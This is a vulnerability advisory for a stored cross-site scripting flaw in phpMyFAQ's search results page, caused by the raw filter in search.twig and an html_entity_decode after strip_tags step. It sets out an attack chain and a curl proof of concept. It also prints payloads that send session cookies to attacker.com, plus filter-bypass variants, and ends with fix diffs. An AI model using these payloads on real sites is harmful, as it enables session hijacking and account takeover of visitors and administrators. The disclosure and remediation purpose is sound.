PT-2026-41499 · Packagist · Phpmyfaq/Phpmyfaq+1

Published

2026-05-06

·

Updated

2026-05-06

CVSS v3.1

6.9

Medium

VectorAV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:N

Summary

The search result rendering template (search.twig) outputs FAQ content fields result.question and result.answerPreview using Twig's | raw filter, which completely disables the template engine's built-in auto-escaping.
A user with FAQ editor/contributor privileges can store a payload encoded as HTML entities. During search result construction, html entity decode(strip tags(...)) restores the raw HTML tags — bypassing strip tags() — and the restored payload is injected into every visitor's browser via the | raw output.
This vulnerability is distinct from GHSA-cv2g-8cj8-vgc7 (affects faq.twig, bypass via regex mismatch in Filter::removeAttributes()) and is not addressed by the 4.1.1 patch.

Affected Files

FileLocationIssue
phpmyfaq/assets/templates/default/search.twiglines rendering result.question, result.answerPreview(Vertical Bar) raw disables autoescape
phpmyfaq/src/phpMyFAQ/Controller/Api/SearchController.phpsearch result processing loophtml entity decode(strip tags(...)) restores encoded payloads
phpmyfaq/src/phpMyFAQ/Search.phplogSearchTerm()No HTML sanitization on stored search term (secondary, preventive)

Details

Vulnerability A (Primary): search.twig| raw Disables Autoescape

File: phpmyfaq/assets/templates/default/search.twig
twig
<a title="Test" href="{{ result.url }}">{{ result.question | raw }}</a>
<small class="small">{{ result.answerPreview | raw }}...</small>
Twig's autoescape encodes all variables by default. The | raw filter unconditionally disables this protection. Both result.question and result.answerPreview are populated from database content (FAQ records and custom pages) that can contain attacker-controlled data.
Seven (7) instances of | raw exist in search.twig:
twig
{{ result.renderedScore | raw }}
{{ result.question | raw }}
{{ result.answerPreview | raw }}
{{ searchTags | raw }}
{{ relatedTags | raw }}
{{ pagination | raw }}
{{ 'help search' | translate | raw }}
Each of these constitutes an independent XSS surface if its data source is compromised.

Vulnerability B (Amplifier): SearchController.phphtml entity decode(strip tags()) Bypass

File: phpmyfaq/src/phpMyFAQ/Controller/Api/SearchController.php
php
$data->answer = html entity decode(
  strip tags((string) $data->answer),
  ENT COMPAT,
  encoding: 'utf-8'
);
This pattern is a known security anti-pattern. When a payload is stored as HTML entities, strip tags() passes it through unmodified (it sees no actual tags), and html entity decode() then restores the original HTML tags — reintroducing executable markup that was thought to be neutralized.
Bypass walkthrough:
text
Stored in DB:  <svg onload=fetch('https://attacker.com/?c='+document.cookie)>
strip tags()  → no change (no real tags detected)
        → <svg onload=fetch('https://attacker.com/?c='+document.cookie)>
html entity decode() → <svg onload=fetch('https://attacker.com/?c='+document.cookie)>
| raw output  → executes in browser

Attack Chain

Prerequisites: Attacker has FAQ editor / contributor role (low privilege).
Step 1 — Payload injection
Attacker creates or edits a FAQ entry or custom page with an HTML-entity-encoded XSS payload in the question or answer body:
html
<svg onload=fetch('[https://attacker.com/?c='+document.cookie](https://attacker.com/?c=%27+document.cookie))>
<img src=x onerror=fetch('[https://attacker.com/?c='+document.cookie](https://attacker.com/?c=%27+document.cookie))>
Step 2 — Persistence
The payload is stored in the DB without HTML sanitization at the storage layer.
Step 3 — Victim triggers the XSS
Any user (including unauthenticated visitors and administrators) searches for a keyword matching the poisoned FAQ. The server:
  1. Retrieves the record from the database
  2. Applies strip tags() → entity-encoded payload passes through
  3. Applies html entity decode() → raw <svg onload=...> is restored
  4. Passes the value to search.twig as result.answerPreview
  5. Template renders with | raw → XSS executes
Step 4 — Impact
  • Session cookie exfiltration → full account takeover
  • Administrator session hijacking (admin visiting search page)
  • Persistent attack: payload fires for every visitor until manually removed
  • Potential for worm propagation via auto-created FAQ entries

PoC

Prerequisites: Attacker has FAQ editor / contributor role (low privilege).
Step 1 — Inject payload via FAQ editor:
bash
curl -X POST 'https://target.example.com/admin/api/faq/create' 
 -H 'Content-Type: application/json' 
 -H 'Cookie: PHPSESSID=<editor session>' 
 -d '{
  "data": {
   "pmf-csrf-token": "<valid csrf token>",
   "question": "&lt;svg onload=fetch(u0027https://attacker.com/?c=u0027+document.cookie)&gt;",
   "answer": "&lt;img src=x onerror=fetch(u0027https://attacker.com/?c=u0027+document.cookie)&gt;",
   "lang": "en",
   "categories[]": 1,
   "active": "yes",
   "tags": "test",
   "keywords": "searchable-keyword",
   "author": "attacker",
   "email": "attacker@example.com"
  }
 }'
Step 2 — Trigger XSS as victim:
https://target.example.com/search.html?search=searchable-keyword
The search result page renders the restored <svg onload=...> payload. The attacker's server receives the victim's session cookie.
Alternative payloads (for WAF bypass):
html
&lt;details open ontoggle=alert(document.cookie)&gt;
&lt;iframe srcdoc="&amp;lt;script&amp;gt;parent.location='https://attacker.com/?c='+document.cookie&amp;lt;/script&amp;gt;"&gt;

Impact

  • Confidentiality : Session cookie exfiltration and credential theft via JavaScript execution in victim's browser context.
  • Integrity : DOM manipulation, phishing overlay injection.
  • Scope : Attack crosses from contributor privilege context to all site visitors, including administrators.

Recommended Fix

Fix 1 (Critical) — Remove | raw from user-controlled fields in search.twig

diff
- <a href="{{ result.url }}">{{ result.question | raw }}</a>
- <small>{{ result.answerPreview | raw }}...</small>
+ <a href="{{ result.url }}">{{ result.question }}</a>
+ <small>{{ result.answerPreview }}...</small>
If HTML formatting must be preserved, apply a whitelist-based sanitizer (e.g., ezyang/htmlpurifier) before passing data to the template, then retain | raw only for purified output.

Fix 2 (Critical) — Remove html entity decode() from search result pipeline SearchController.php

diff
- $data->answer = html entity decode(
-   strip tags((string) $data->answer),
-   ENT COMPAT,
-   encoding: 'utf-8'
- );
+ $data->answer = strip tags((string) $data->answer);
 $data->answer = Utils::makeShorterText(string: $data->answer, characters: 12);

Fix 3 (Recommended) — Audit all | raw usages in search.twig

The following additional | raw instances should be reviewed and sanitized:
twig
{{ searchTags | raw }}    → apply HTML Purifier or remove | raw
{{ relatedTags | raw }}   → apply HTML Purifier or remove | raw
{{ pagination | raw }}    → safe only if generated entirely server-side with no user input

Fix 4 (Preventive) — Add htmlspecialchars() in logSearchTerm()

diff
 $this->configuration->getDb()->escape($searchTerm)
+ htmlspecialchars(
+   $this->configuration->getDb()->escape($searchTerm),
+   ENT QUOTES | ENT HTML5,
+   'UTF-8'
+ )

Fix

XSS

Found an issue in the description? Have something to add? Feel free to write us 👾

Weakness Enumeration

Related Identifiers

GHSA-PQH6-8FXF-JX22

Affected Products

Phpmyfaq/Phpmyfaq
Thorsten/Phpmyfaq